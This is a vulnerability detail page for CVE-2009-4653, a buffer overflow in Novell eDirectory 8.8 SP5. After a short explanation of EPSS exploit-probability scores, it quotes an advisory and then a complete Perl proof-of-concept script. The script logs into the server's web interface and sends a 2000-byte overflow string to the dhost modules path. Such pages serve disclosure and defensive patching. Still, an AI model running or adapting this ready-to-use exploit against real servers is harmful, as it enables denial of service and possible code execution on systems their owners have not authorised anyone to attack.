CVE-2009-4653 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/37009/info Novell eDirectory is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. Attackers can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions. Novell eDirectory 8.8 SP5 is vulnerable; other versions may also be affected. #!usr\bin\perl #Vulnerability has found by HACKATTACK use WWW::Mechanize; use LWP::Debug qw(+); use HTTP::Cookies; $address=$ARGV[0]; if(!$ARGV[0]){ print "Usage:perl $0 address\n"; exit(); } $login = "$address/_LOGIN_SERVER_"; $url = "$address/dhost/"; $module = "modules?I:"; $buffer = "A" x 2000; $vuln = $module.$buffer; #Edit the username and password. $user = "username"; $pass = "password"; #Edit the username and password. my $mechanize = WWW::Mechanize->new(); $mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1)); $mechanize->timeout($url_timeout); $res = $mechanize->request(HTTP::Request->new('GET', "$login")); $mechanize->submit_form( form_name => "authenticator", fields => { usr => $user, pwd => $pass}, button => 'Login'); $response2 = $mechanize->get("$url$vuln");
